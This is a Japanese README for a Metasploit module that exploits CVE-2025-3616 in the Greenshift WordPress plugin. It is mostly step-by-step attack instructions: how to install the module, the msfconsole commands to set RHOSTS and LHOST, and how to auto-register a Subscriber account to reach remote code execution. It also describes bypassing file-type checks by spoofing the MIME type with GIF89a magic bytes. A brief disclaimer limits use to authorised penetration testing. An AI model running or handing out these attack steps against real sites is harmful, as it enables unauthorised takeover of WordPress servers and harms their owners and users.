
Metasploitモジュール: CVE-2025-3616を悪用し、Greenshift WordPressプラグインにおける任意のファイルアップロードを利用して、GIFマジックバイトを用いたMIMEタイプスプーフィングにより認証済みRCEを可能にします。
このリポジトリには、Greenshift WordPress プラグイン (バージョン 11.4 から 11.4.5) の任意ファイルアップロードの脆弱性 CVE-2025-3616 を悪用するための Metasploit モジュールが含まれています。
このエクスプロイトにより、認証済みユーザー (Subscriber+) が任意のファイルをアップロードし、リモートコード実行 (RCE) に至ることができます。GIF マジックバイト (GIF89a;) を使用して MIME タイプを偽装することにより、プラグインのファイルタイプ検証を回避します。
USERNAME/PASSWORD) を使用したログインをサポートします。REGISTER オプションを用意しており、新しいユーザーを自動登録し、新しいセッションクッキーを使用して脆弱性を悪用できます (対象でユーザー登録が有効な場合に便利です)。wp_rest nonce を自動的にスクレイピングします。finfo_file() による検証をバイパスします。Metasploit Framework がインストールされていることを確認します。
wp_greenshift_file_upload.rb をローカルモジュールディレクトリにコピーします:
mkdir -p ~/.msf4/modules/exploits/unix/webapp/
cp wp_greenshift_file_upload.rb ~/.msf4/modules/exploits/unix/webapp/
msfconsole を起動し、モジュールをリロードします:
msfconsole
msf6 > reload_all
対象でユーザー登録が有効な場合、認証情報は必要ありません。
use exploit/unix/webapp/wp_greenshift_file_upload
set RHOSTS <TARGET_IP>
set LHOST <YOUR_IP>
set REGISTER true
run
有効なユーザー (Subscriber 以上) が既にいる場合:
use exploit/unix/webapp/wp_greenshift_file_upload
set RHOSTS <TARGET_IP>
set LHOST <YOUR_IP>
set REGISTER false
set USERNAME <USER>
set PASSWORD <PASS>
run
このモジュールは教育目的および許可されたペネトレーションテストのみを対象としています。事前の相互同意なしにターゲットを攻撃するためにこのコードを使用することは違法です。
| オプション | 必須 | 説明 |
|---|
| RHOSTS | はい | ターゲットアドレス |
| LHOST | はい | リスンアドレス (あなたの IP) |
| REGISTER | いいえ | true に設定すると新しいアカウントを自動登録します (デフォルト: false) |
| USERNAME | いいえ | WordPress ユーザー名 (REGISTER が false の場合に必要) |
| PASSWORD | いいえ | WordPress パスワード (REGISTER が false の場合に必要) |
| いいえ | 登録用のメールアドレス (省略時は自動生成) |